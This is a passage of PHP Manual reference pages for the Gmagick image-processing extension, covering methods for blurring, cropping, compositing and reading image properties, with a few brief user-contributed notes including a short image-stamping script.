  • Gmagick::borderimage — Surrounds the image with a border
  • Gmagick::charcoalimage — Simulates a charcoal drawing
  • Gmagick::chopimage — Removes a region of an image and trims
  • Gmagick::clear — Clears all resources associated to Gmagick object
  • Gmagick::commentimage — Adds a comment to your image
  • Gmagick::compositeimage — Composite one image onto another
  • Gmagick::__construct — The Gmagick constructor
  • Gmagick::cropimage — Extracts a region of the image
  • Gmagick::cropthumbnailimage — Creates a crop thumbnail
  • Gmagick::current — The current purpose
  • Gmagick::cyclecolormapimage — Displaces an image's colormap
  • Gmagick::deconstructimages — Returns certain pixel differences between images
  • Gmagick::despeckleimage — The despeckleimage purpose
  • Gmagick::destroy — The destroy purpose
  • Gmagick::drawimage — Renders the GmagickDraw object on the current image
  • Gmagick::edgeimage — Enhance edges within the image
  • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
  • Gmagick::enhanceimage — Improves the quality of a noisy image
  • Gmagick::equalizeimage — Equalizes the image histogram
  • Gmagick::flipimage — Creates a vertical mirror image
  • Gmagick::flopimage — The flopimage purpose
  • Gmagick::frameimage — Adds a simulated three-dimensional border
  • Gmagick::gammaimage — Gamma-corrects an image
  • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
  • Gmagick::getfilename — The filename associated with an image sequence
  • Gmagick::getimagebackgroundcolor — Returns the image background color
  • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
  • Gmagick::getimagebordercolor — Returns the image border color
  • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
  • Gmagick::getimagecolors — Returns the color of the specified colormap index
  • Gmagick::getimagecolorspace — Gets the image colorspace
  • Gmagick::getimagecompose — Returns the composite operator associated with the image
  • Gmagick::getimagedelay — Gets the image delay
  • Gmagick::getimagedepth — Gets the depth of the image
  • Gmagick::getimagedispose — Gets the image disposal method
  • Gmagick::getimageextrema — Gets the extrema for the image
  • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
  • Gmagick::getimageformat — Returns the format of a particular image in a sequence
  • Gmagick::getimagegamma — Gets the image gamma
  • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
  • Gmagick::getimageheight — Returns the image height
  • Gmagick::getimagehistogram — Gets the image histogram
  • Gmagick::getimageindex — Gets the index of the current active image
  • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
  • Gmagick::getimageiterations — Gets the image iterations
  • Gmagick::getimagematte — Check if the image has a matte channel
  • Gmagick::getimagemattecolor — Returns the image matte color
  • Gmagick::getimageprofile — Returns the named image profile.
  • Gmagick::getimageredprimary — Returns the chromaticity red primary point
  • Gmagick::getimagerenderingintent — Gets the image rendering intent
  • Gmagick::getimageresolution — Gets the image X and Y resolution
  • Gmagick::getimagescene — Gets the image scene
  • Gmagick::getimagesignature — Generates an SHA-256 message digest
  • Gmagick::getimagetype — Gets the potential image type.
  • Gmagick::getimageunits — Gets the image units of resolution
  • Gmagick::getimagewhitepoint — Returns the chromaticity white point
  • Gmagick::getimagewidth — Returns the width of the image
  • Gmagick::getpackagename — Returns the GraphicsMagick package name.
  • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.
  • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.
  • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.
  • Gmagick::getsize — Returns the size associated with the Gmagick object
  • Gmagick::getversion — Returns the GraphicsMagick API version
  • Gmagick::hasnextimage — Checks if the object has more images
  • Gmagick::haspreviousimage — Checks if the object has a previous image
  • Gmagick::implodeimage — Creates a new image as a copy
  • Gmagick::labelimage — Adds a label to an image.
  • Gmagick::levelimage — Adjusts the levels of an image
  • Gmagick::magnifyimage — Scales an image proportionally 2x
  • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.
  • Gmagick::medianfilterimage — Applies a digital filter
  • Gmagick::minifyimage — Scales an image proportionally to half its size
  • Gmagick::modulateimage — Control the brightness, saturation, and hue
  • Gmagick::motionblurimage — Simulates motion blur
  • Gmagick::newimage — Creates a new image
  • Gmagick::nextimage — Moves to the next image
  • Gmagick::normalizeimage — Enhances the contrast of a color image
  • Gmagick::oilpaintimage — Simulates an oil painting
  • Gmagick::previousimage — Move to the previous image in the object
  • Gmagick::profileimage — Adds or removes a profile from an image
  • Gmagick::quantizeimage — Analyzes the colors within a reference image
  • Gmagick::quantizeimages — The quantizeimages purpose
  • Gmagick::queryfontmetrics — Returns an array representing the font metrics
  • Gmagick::queryfonts — Returns the configured fonts
  • Gmagick::queryformats — Returns formats supported by Gmagick.
  • Gmagick::radialblurimage — Radial blurs an image
  • Gmagick::raiseimage — Creates a simulated 3d button-like effect
  • Gmagick::read — Reads image from filename
  • Gmagick::readimage — Reads image from filename
  • Gmagick::readimageblob — Reads image from a binary string
  • Gmagick::readimagefile — The readimagefile purpose
  • Gmagick::reducenoiseimage — Smooths the contours of an image
  • Gmagick::removeimage — Removes an image from the image list
  • Gmagick::removeimageprofile — Removes the named image profile and returns it
  • Gmagick::resampleimage — Resample image to desired resolution
  • Gmagick::resizeimage — Scales an image
  • Gmagick::rollimage — Offsets an image
  • Gmagick::rotateimage — Rotates an image
  • Gmagick::scaleimage — Scales the size of an image
  • Gmagick::separateimagechannel — Separates a channel from the image
  • Gmagick::setfilename — Sets the filename before you read or write the image
  • Gmagick::setimagebackgroundcolor — Sets the image background color.
  • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.
  • Gmagick::setimagebordercolor — Sets the image border color.
  • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
  • Gmagick::setimagecolorspace — Sets the image colorspace
  • Gmagick::setimagecompose — Sets the image composite operator
  • Gmagick::setimagedelay — Sets the image delay
  • Gmagick::setimagedepth — Sets the image depth
  • Gmagick::setimagedispose — Sets the image disposal method
  • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
  • Gmagick::setimageformat — Sets the format of a particular image
  • Gmagick::setimagegamma — Sets the image gamma
  • Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.
  • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
  • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.
  • Gmagick::setimageiterations — Sets the image iterations.
  • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
  • Gmagick::setimageredprimary — Sets the image chromaticity red primary point.
  • Gmagick::setimagerenderingintent — Sets the image rendering intent
  • Gmagick::setimageresolution — Sets the image resolution
  • Gmagick::setimagescene — Sets the image scene
  • Gmagick::setimagetype — Sets the image type
  • Gmagick::setimageunits — Sets the image units of resolution.
  • Gmagick::setimagewhitepoint — Sets the image chromaticity white point.
  • Gmagick::setsamplingfactors — Sets the image sampling factors.
  • Gmagick::setsize — Sets the size of the Gmagick object
  • Gmagick::shearimage — Creating a parallelogram
  • Gmagick::solarizeimage — Applies a solarizing effect to the image
  • Gmagick::spreadimage — Randomly displaces each pixel in a block
  • Gmagick::stripimage — Strips an image of all profiles and comments
  • Gmagick::swirlimage — Swirls the pixels about the center of the image
  • Gmagick::thumbnailimage — Changes the size of an image
  • Gmagick::trimimage — Remove edges from the image
  • Gmagick::write — Writes an image to the specified filename
  • Gmagick::writeimage — Writes an image to the specified filename

User Contributed Notes

robert at cesaric dot com 24-Jun-2011 03:27
getNumberImages() isn't documented here but it is available.  You can look at ImageMagick documentation for use.


Adds new image to Gmagick object image list

  • « Gmagick
  • Gmagick::addnoiseimage »
  • PHP Manual
  • Gmagick
  • Adds new image to Gmagick object image list

Gmagick::addimage

(PECL gmagick >= Unknown)

Gmagick::addimage — Adds new image to Gmagick object image list

Description

public Gmagick Gmagick::addimage ( Gmagick $Gmagick )

Adds new image to Gmagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

Parameters

source

The source Gmagick object

Return Values

The Gmagick object with image added

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds random noise to the image

  • « Gmagick::addimage
  • Gmagick::annotateimage »
  • PHP Manual
  • Gmagick
  • Adds random noise to the image

Gmagick::addnoiseimage

(PECL gmagick >= Unknown)

Gmagick::addnoiseimage — Adds random noise to the image

Description

public Gmagick Gmagick::addnoiseimage ( int $NOISE )

Adds random noise to the image.

Parameters

noise_type

The type of the noise. Refer to this list of noise constants.

Return Values

The Gmagick object with noise added.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Annotates an image with text

  • « Gmagick::addnoiseimage
  • Gmagick::blurimage »
  • PHP Manual
  • Gmagick
  • Annotates an image with text

Gmagick::annotateimage

(PECL gmagick >= Unknown)

Gmagick::annotateimage — Annotates an image with text

Description

public Gmagick Gmagick::annotateimage ( GmagickDraw $GmagickDraw , float $x , float $y , float $angle , string $text )

Annotates an image with text.

Parameters

GmagickDraw

The GmagickDraw object that contains settings for drawing the text

x

Horizontal offset in pixels to the left of text

y

Vertical offset in pixels to the baseline of text

angle

The angle at which to write the text

text

The string to draw

Return Values

The Gmagick object with annotation made.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds blur filter to image

  • « Gmagick::annotateimage
  • Gmagick::borderimage »
  • PHP Manual
  • Gmagick
  • Adds blur filter to image

Gmagick::blurimage

(PECL gmagick >= Unknown)

Gmagick::blurimage — Adds blur filter to image

Description

public Gmagick Gmagick::blurimage ( float $radius , float $sigma [, int $channel ] )

Adds blur filter to image.

Parameters

radius

Blur radius

sigma

Standard deviation

Return Values

The blurred Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Surrounds the image with a border

  • « Gmagick::blurimage
  • Gmagick::charcoalimage »
  • PHP Manual
  • Gmagick
  • Surrounds the image with a border

Gmagick::borderimage

(PECL gmagick >= Unknown)

Gmagick::borderimage — Surrounds the image with a border

Description

public Gmagick Gmagick::borderimage ( GmagickPixel $color , int $width , int $height )

Surrounds the image with a border of the color defined by the bordercolor GmagickPixel object or a color string.

Parameters

color

GmagickPixel object or a string containing the border color

width

Border width

height

Border height

Return Values

The Gmagick object with border defined

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Simulates a charcoal drawing

  • « Gmagick::borderimage
  • Gmagick::chopimage »
  • PHP Manual
  • Gmagick
  • Simulates a charcoal drawing

Gmagick::charcoalimage

(PECL gmagick >= Unknown)

Gmagick::charcoalimage — Simulates a charcoal drawing

Description

public Gmagick Gmagick::charcoalimage ( float $radius , float $sigma )

Simulates a charcoal drawing.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels

Return Values

The Gmagick object with charcoal simulation

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Removes a region of an image and trims

  • « Gmagick::charcoalimage
  • Gmagick::clear »
  • PHP Manual
  • Gmagick
  • Removes a region of an image and trims

Gmagick::chopimage

(PECL gmagick >= Unknown)

Gmagick::chopimage — Removes a region of an image and trims

Description

public Gmagick Gmagick::chopimage ( int $width , int $height , int $x , int $y )

Removes a region of an image and collapses the image to occupy the removed portion.

Parameters

width

Width of the chopped area

height

Height of the chopped area

x

X origo of the chopped area

y

Y origo of the chopped area

Return Values

The chopped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Clears all resources associated to Gmagick object

  • « Gmagick::chopimage
  • Gmagick::commentimage »
  • PHP Manual
  • Gmagick
  • Clears all resources associated to Gmagick object

Gmagick::clear

(PECL gmagick >= Unknown)

Gmagick::clear — Clears all resources associated to Gmagick object

Description

public Gmagick Gmagick::clear ( void )

Clears all resources associated to Gmagick object

Parameters

This function has no parameters.

Return Values

The cleared Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment to your image

  • « Gmagick::clear
  • Gmagick::compositeimage »
  • PHP Manual
  • Gmagick
  • Adds a comment to your image

Gmagick::commentimage

(PECL gmagick >= Unknown)

Gmagick::commentimage — Adds a comment to your image

Description

public Gmagick Gmagick::commentimage ( string $comment )

Adds a comment to your image.

Parameters

comment

The comment to add

Return Values

The Gmagick object with comment added.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Composite one image onto another

  • « Gmagick::commentimage
  • Gmagick::__construct »
  • PHP Manual
  • Gmagick
  • Composite one image onto another

Gmagick::compositeimage

(PECL gmagick >= Unknown)

Gmagick::compositeimage — Composite one image onto another

Description

public Gmagick Gmagick::compositeimage ( Gmagick $source , int $COMPOSE , int $x , int $y )

Composite one image onto another at the specified offset.

Parameters

source

Gmagick object which holds the composite image

compose

Composite operator.

x

The column offset of the composited image

y

The row offset of the composited image

Return Values

The Gmagick object with compositions.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

Paul Janik 08-Sep-2011 03:59
The second parameter, $COMPOSE, has 3 usable values:

1 = the image is displayed normally;
2 = the image is displayed on a white background;
3 = the image is display in black on a white background;

Paul.
wallace Lau kok poh 04-Aug-2011 09:03
Quick script for stamping a small image on a large image

#!/usr/bin/php
<?php
//  <wallace@wallacelau.com>
//Instantiate a new Gmagick object
$imgMain = new Gmagick('Torso_F.tiff');

// get the image width
$width = (int) ($imgMain->getimagewidth() /2) - 150;

//Instantiate a barcode img Gmagick object
$imgBarcode = new Gmagick('barcode.jpeg');

//stamp the barcode on top of the Main image
$imgMain->compositeimage($imgBarcode, 1, $width, 150);
//Write the current image at the current state to a file
$imgMain->write('withBarcode.tiff');

?>


The Gmagick constructor

  • « Gmagick::compositeimage
  • Gmagick::cropimage »
  • PHP Manual
  • Gmagick
  • The Gmagick constructor

Gmagick::__construct

(PECL gmagick >= Unknown)

Gmagick::__construct — The Gmagick constructor

Description

public Gmagick::__construct ([ string $filename ] )

The Gmagick constructor.

Parameters

filename

The path to an image to load or array of paths

Return Values

Returns a new Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Extracts a region of the image

  • « Gmagick::__construct
  • Gmagick::cropthumbnailimage »
  • PHP Manual
  • Gmagick
  • Extracts a region of the image

Gmagick::cropimage

(PECL gmagick >= Unknown)

Gmagick::cropimage — Extracts a region of the image

Description

public Gmagick Gmagick::cropimage ( int $width , int $height , int $x , int $y )

Extracts a region of the image.

Parameters

width

The width of the crop

height

The height of the crop

x

The X coordinate of the cropped region's top left corner

y

The Y coordinate of the cropped region's top left corner

Return Values

The cropped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

martin at arp242 dot net 22-Jun-2011 09:52
A slight note since this is not immediately obvious:
Just as the C CropImage() function, you can specify all zero parameters to get an "autocrop" effect, meaning it will remove all single-color "edges" of an image.


Creates a crop thumbnail

  • « Gmagick::cropimage
  • Gmagick::current »
  • PHP Manual
  • Gmagick
  • Creates a crop thumbnail

Gmagick::cropthumbnailimage

(PECL gmagick >= Unknown)

Gmagick::cropthumbnailimage — Creates a crop thumbnail

Description

public Gmagick Gmagick::cropthumbnailimage ( int $width , int $height )

Creates a fixed size thumbnail by first scaling the image down and cropping a specified area from the center.

Parameters

width

The width of the thumbnail

height

The Height of the thumbnail

Return Values

The cropped Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The current purpose

  • « Gmagick::cropthumbnailimage
  • Gmagick::cyclecolormapimage »
  • PHP Manual
  • Gmagick
  • The current purpose

Gmagick::current

(PECL gmagick >= Unknown)

Gmagick::current — The current purpose

Description

public Gmagick Gmagick::current ( void )

Returns reference to the current gmagick object with image pointer at the correct sequence.

Parameters

This function has no parameters.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Displaces an image's colormap

  • « Gmagick::current
  • Gmagick::deconstructimages »
  • PHP Manual
  • Gmagick
  • Displaces an image's colormap

Gmagick::cyclecolormapimage

(PECL gmagick >= Unknown)

Gmagick::cyclecolormapimage — Displaces an image's colormap

Description

public Gmagick Gmagick::cyclecolormapimage ( int $displace )

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

Parameters

displace

The amount to displace the colormap.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns certain pixel differences between images

  • « Gmagick::cyclecolormapimage
  • Gmagick::despeckleimage »
  • PHP Manual
  • Gmagick
  • Returns certain pixel differences between images

Gmagick::deconstructimages

(PECL gmagick >= Unknown)

Gmagick::deconstructimages — Returns certain pixel differences between images

Description

public void Gmagick::deconstructimages ( void )

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

Parameters

This function has no parameters.

Return Values

Returns self on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The despeckleimage purpose

  • « Gmagick::deconstructimages
  • Gmagick::destroy »
  • PHP Manual
  • Gmagick
  • The despeckleimage purpose

Gmagick::despeckleimage

(PECL gmagick >= Unknown)

Gmagick::despeckleimage — The despeckleimage purpose

Description

public Gmagick Gmagick::despeckleimage ( void )

Reduces the speckle noise in an image while preserving the edges of the original image.

Parameters

This function has no parameters.

Return Values

The despeckled Gmagick object on success.

Errors/Exceptions

Throws an GmagickException on error.

Examples

Example #1 Gmagick::despeckleimage() example

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The destroy purpose

  • « Gmagick::despeckleimage
  • Gmagick::drawimage »
  • PHP Manual
  • Gmagick
  • The destroy purpose

Gmagick::destroy

(PECL gmagick >= Unknown)

Gmagick::destroy — The destroy purpose

Description

public Gmagick Gmagick::destroy ( void )

Destroys the Gmagick object and frees all resources associated with it

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Renders the GmagickDraw object on the current image

  • « Gmagick::destroy
  • Gmagick::edgeimage »
  • PHP Manual
  • Gmagick
  • Renders the GmagickDraw object on the current image

Gmagick::drawimage

(PECL gmagick >= Unknown)

Gmagick::drawimage — Renders the GmagickDraw object on the current image

Description

public Gmagick Gmagick::drawimage ( GmagickDraw $GmagickDraw )

Renders the GmagickDraw object on the current image

Parameters

GmagickDraw

The drawing operations to render on the image.

Return Values

The drawn Gmagick object

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Enhance edges within the image

  • « Gmagick::drawimage
  • Gmagick::embossimage »
  • PHP Manual
  • Gmagick
  • Enhance edges within the image

Gmagick::edgeimage

(PECL gmagick >= Unknown)

Gmagick::edgeimage — Enhance edges within the image

Description

public Gmagick Gmagick::edgeimage ( float $radius )

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

Parameters

radius

The radius of the operation.

Return Values

The Gmagick object with edges enhanced.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a grayscale image with a three-dimensional effect

  • « Gmagick::edgeimage
  • Gmagick::enhanceimage »
  • PHP Manual
  • Gmagick
  • Returns a grayscale image with a three-dimensional effect

Gmagick::embossimage

(PECL gmagick >= Unknown)

Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect

Description

public Gmagick Gmagick::embossimage ( float $radius , float $sigma )

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

Parameters

radius

The radius of the effect

sigma

The sigma of the effect

Return Values

The embossed Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Improves the quality of a noisy image

  • « Gmagick::embossimage
  • Gmagick::equalizeimage »
  • PHP Manual
  • Gmagick
  • Improves the quality of a noisy image

Gmagick::enhanceimage

(PECL gmagick >= Unknown)

Gmagick::enhanceimage — Improves the quality of a noisy image

Description

public Gmagick Gmagick::enhanceimage ( void )

Applies a digital filter that improves the quality of a noisy image.

Return Values

The enhanced Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Equalizes the image histogram

  • « Gmagick::enhanceimage
  • Gmagick::flipimage »
  • PHP Manual
  • Gmagick
  • Equalizes the image histogram

Gmagick::equalizeimage

(PECL gmagick >= Unknown)

Gmagick::equalizeimage — Equalizes the image histogram

Description

public Gmagick Gmagick::equalizeimage ( void )

Equalizes the image histogram.

Return Values

The equalized Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Creates a vertical mirror image

  • « Gmagick::equalizeimage
  • Gmagick::flopimage »
  • PHP Manual
  • Gmagick
  • Creates a vertical mirror image

Gmagick::flipimage

(PECL gmagick >= Unknown)

Gmagick::flipimage — Creates a vertical mirror image

Description

public Gmagick Gmagick::flipimage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis.

Return Values

The flipped Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The flopimage purpose

  • « Gmagick::flipimage
  • Gmagick::frameimage »
  • PHP Manual
  • Gmagick
  • The flopimage purpose

Gmagick::flopimage

(PECL gmagick >= Unknown)

Gmagick::flopimage — The flopimage purpose

Description

public Gmagick Gmagick::flopimage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis.

Return Values

The flopped Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Adds a simulated three-dimensional border

  • « Gmagick::flopimage
  • Gmagick::gammaimage »
  • PHP Manual
  • Gmagick
  • Adds a simulated three-dimensional border

Gmagick::frameimage

(PECL gmagick >= Unknown)

Gmagick::frameimage — Adds a simulated three-dimensional border

Description

public Gmagick Gmagick::frameimage ( GmagickPixel $color , int $width , int $height , int $inner_bevel , int $outer_bevel )

Adds a simulated three-dimensional border around the image. The width and height specify the border width of the vertical and horizontal sides of the frame. The inner and outer bevels indicate the width of the inner and outer shadows of the frame.

Parameters

color

GmagickPixel object or a float representing the matte color

width

The width of the border

height

The height of the border

inner_bevel

The inner bevel width

outer_bevel

The outer bevel width

Return Values

The framed Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gamma-corrects an image

  • « Gmagick::frameimage
  • Gmagick::getcopyright »
  • PHP Manual
  • Gmagick
  • Gamma-corrects an image

Gmagick::gammaimage

(PECL gmagick >= Unknown)

Gmagick::gammaimage — Gamma-corrects an image

Description

public Gmagick Gmagick::gammaimage ( float $gamma )

Gamma-corrects an image. The same image viewed on different devices will have perceptual differences in the way the image's intensities are represented on the screen. Specify individual gamma levels for the red, green, and blue channels, or adjust all three with the gamma parameter. Values typically range from 0.8 to 2.3.

Parameters

gamma

The amount of gamma-correction.

Return Values

The gamma corrected Gmagick object.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the GraphicsMagick API copyright as a string

  • « Gmagick::gammaimage
  • Gmagick::getfilename »
  • PHP Manual
  • Gmagick
  • Returns the GraphicsMagick API copyright as a string

Gmagick::getcopyright

(PECL gmagick >= Unknown)

Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string

Description

public string Gmagick::getcopyright ( void )

Returns the GraphicsMagick API copyright as a string.

Return Values

Returns a string containing the copyright notice of GraphicsMagick and Magickwand C API.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


The filename associated with an image sequence

  • « Gmagick::getcopyright
  • Gmagick::getimagebackgroundcolor »
  • PHP Manual
  • Gmagick
  • The filename associated with an image sequence

Gmagick::getfilename

(PECL gmagick >= Unknown)

Gmagick::getfilename — The filename associated with an image sequence

Description

public string Gmagick::getfilename ( void )

Returns the filename associated with an image sequence.

Return Values

Returns a string on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image background color

  • « Gmagick::getfilename
  • Gmagick::getimageblueprimary »
  • PHP Manual
  • Gmagick
  • Returns the image background color

Gmagick::getimagebackgroundcolor

(PECL gmagick >= Unknown)

Gmagick::getimagebackgroundcolor — Returns the image background color

Description

public void Gmagick::getimagebackgroundcolor ( void )

Returns the image background color.

Parameters

This function has no parameters.

Return Values

Returns an GmagickPixel set to the background color of the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the chromaticy blue primary point

  • « Gmagick::getimagebackgroundcolor
  • Gmagick::getimagebordercolor »
  • PHP Manual
  • Gmagick
  • Returns the chromaticy blue primary point

Gmagick::getimageblueprimary

(PECL gmagick >= Unknown)

Gmagick::getimageblueprimary — Returns the chromaticy blue primary point

Description

public array Gmagick::getimageblueprimary ( void )

Returns the chromaticity blue primary point for the image.

Parameters

x

The chromaticity blue primary x-point.

y

The chromaticity blue primary y-point.

Return Values

Array consisting of "x" and "y" coordinates of point.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the image border color

  • « Gmagick::getimageblueprimary
  • Gmagick::getimagechanneldepth »
  • PHP Manual
  • Gmagick
  • Returns the image border color

Gmagick::getimagebordercolor

(PECL gmagick >= Unknown)

Gmagick::getimagebordercolor — Returns the image border color

Description

public void Gmagick::getimagebordercolor ( void )

Returns the image border color.

Parameters

This function has no parameters.

Return Values

GmagickPixel object representing the color of the border

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth for a particular image channel

  • « Gmagick::getimagebordercolor
  • Gmagick::getimagecolors »
  • PHP Manual
  • Gmagick
  • Gets the depth for a particular image channel

Gmagick::getimagechanneldepth

(PECL gmagick >= Unknown)

Gmagick::getimagechanneldepth — Gets the depth for a particular image channel

Description

public int Gmagick::getimagechanneldepth ( int $channel_type )

Gets the depth for a particular image channel.

Parameters

This function has no parameters.

Return Values

Depth of image channel

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color of the specified colormap index

  • « Gmagick::getimagechanneldepth
  • Gmagick::getimagecolorspace »
  • PHP Manual
  • Gmagick
  • Returns the color of the specified colormap index

Gmagick::getimagecolors

(PECL gmagick >= Unknown)

Gmagick::getimagecolors — Returns the color of the specified colormap index

Description

public int Gmagick::getimagecolors ( void )

Returns the color of the specified colormap index.

Parameters

This function has no parameters.

Return Values

The number of colors in image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image colorspace

  • « Gmagick::getimagecolors
  • Gmagick::getimagecompose »
  • PHP Manual
  • Gmagick
  • Gets the image colorspace

Gmagick::getimagecolorspace

(PECL gmagick >= Unknown)

Gmagick::getimagecolorspace — Gets the image colorspace

Description

public int Gmagick::getimagecolorspace ( void )

Gets the image colorspace.

Parameters

This function has no parameters.

Return Values

Colorspace

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the composite operator associated with the image

  • « Gmagick::getimagecolorspace
  • Gmagick::getimagedelay »
  • PHP Manual
  • Gmagick
  • Returns the composite operator associated with the image

Gmagick::getimagecompose

(PECL gmagick >= Unknown)

Gmagick::getimagecompose — Returns the composite operator associated with the image

Description

public int Gmagick::getimagecompose ( void )

Returns the composite operator associated with the image.

Parameters

This function has no parameters.

Return Values

Returns the composite operator associated with the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image delay

  • « Gmagick::getimagecompose
  • Gmagick::getimagedepth »
  • PHP Manual
  • Gmagick
  • Gets the image delay

Gmagick::getimagedelay

(PECL gmagick >= Unknown)

Gmagick::getimagedelay — Gets the image delay

Description

public int Gmagick::getimagedelay ( void )

Gets the image delay

Parameters

This function has no parameters.

Return Values

Returns the composite operator associated with the image.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the depth of the image

  • « Gmagick::getimagedelay
  • Gmagick::getimagedispose »
  • PHP Manual
  • Gmagick
  • Gets the depth of the image

Gmagick::getimagedepth

(PECL gmagick >= Unknown)

Gmagick::getimagedepth — Gets the depth of the image

Description

public int Gmagick::getimagedepth ( void )

Gets the depth of the image.

Parameters

This function has no parameters.

Return Values

Image depth

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the image disposal method

  • « Gmagick::getimagedepth
  • Gmagick::getimageextrema »
  • PHP Manual
  • Gmagick
  • Gets the image disposal method

Gmagick::getimagedispose

(PECL gmagick >= Unknown)

Gmagick::getimagedispose — Gets the image disposal method

Description

public int Gmagick::getimagedispose ( void )

Gets the image disposal method

Parameters

This function has no parameters.

Return Values

Returns the dispose method on success.

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Gets the extrema for the image

  • « Gmagick::getimagedispose
  • Gmagick::getimagefilename »
  • PHP Manual
  • Gmagick
  • Gets the extrema for the image

Gmagick::getimageextrema

(PECL gmagick >= Unknown)

Gmagick::getimageextrema — Gets the extrema for the image

Description

public array Gmagick::getimageextrema ( void )

Returns an associative array with the keys "min" and "max". Throws an GmagickException on error.

Parameters

This function has no parameters.

Return Values

Returns an associative array with the keys "min" and "max".

Errors/Exceptions

Throws an GmagickException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the filename of a particular image in a sequence

  • « Gmagick::getimageextrema
  • Gmagick::getimageformat »
  • PHP Manual
  • Gmagick
  • Returns the filename of a particular image in a sequence

Gmagick::getimagefilename

(PECL gmagick >= Unknown)

Gmagick::getimagefilename — Returns the filename of a particular image in a sequence

Description

